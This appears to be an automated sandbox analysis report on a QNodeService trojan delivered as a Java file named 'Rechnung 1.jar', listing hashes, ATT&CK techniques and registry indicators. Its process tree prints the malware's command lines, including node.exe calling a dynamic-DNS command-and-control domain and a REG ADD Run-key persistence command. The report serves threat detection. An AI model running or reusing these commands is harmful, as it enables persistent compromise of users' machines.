qnodeservice | bd2ef877f531d56a5a2a93d269d19e09195b908b2f39cd8b092f03916ed3b2b1

General

Target

Rechnung 1.jar
Size

50KB
MD5

5847b21081ad895a7af96259f5ec0d59
SHA1

a690cb52bbb216fa181d700df67181c90c31d014
SHA256

bd2ef877f531d56a5a2a93d269d19e09195b908b2f39cd8b092f03916ed3b2b1
SHA512

cb844a4b2e976bad6d44c316b9718a2f795b00b91690cfd340ad4e7782eca279f58ff74cc79bc63d9d79e5aa8f232c2fc3e5cdb8b71f8d7a8f125e501d80224f

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
4000	node.exe
1020	node.exe
504	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\75b8ffbb-a237-46bf-95d5-27d50d438190 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001aba0-163.dat	js
behavioral2/files/0x000100000001aba0-166.dat	js
behavioral2/files/0x000100000001aba0-170.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4000	node.exe
4000	node.exe
4000	node.exe
4000	node.exe
1020	node.exe
1020	node.exe
1020	node.exe
1020	node.exe
504	node.exe
504	node.exe
504	node.exe
504	node.exe
504	node.exe
504	node.exe
504	node.exe
504	node.exe
504	node.exe
504	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 636 wrote to memory of 2220	636	java.exe	76
PID 636 wrote to memory of 2220	636	java.exe	76
PID 2220 wrote to memory of 4000	2220	javaw.exe	80
PID 2220 wrote to memory of 4000	2220	javaw.exe	80
PID 4000 wrote to memory of 1020	4000	node.exe	82
PID 4000 wrote to memory of 1020	4000	node.exe	82
PID 1020 wrote to memory of 504	1020	node.exe	83
PID 1020 wrote to memory of 504	1020	node.exe	83
PID 504 wrote to memory of 4060	504	node.exe	85
PID 504 wrote to memory of 4060	504	node.exe	85
PID 4060 wrote to memory of 4020	4060	cmd.exe	86
PID 4060 wrote to memory of 4020	4060	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Rechnung 1.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:636
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3d23a556.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4000
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DxLeVY\boot.js --hub-domain september101991.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1020
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DxLeVY\boot.js --hub-domain september101991.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:504
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "75b8ffbb-a237-46bf-95d5-27d50d438190" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4060
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "75b8ffbb-a237-46bf-95d5-27d50d438190" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:4020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/504-171-0x00000243A6680000-0x00000243A6681000-memory.dmp

Filesize
4KB

Download
memory/1020-167-0x0000032CC8B80000-0x0000032CC8B81000-memory.dmp

Filesize
4KB

Download
memory/4000-164-0x000003F791540000-0x000003F791541000-memory.dmp

Filesize
4KB

Download

Analysis

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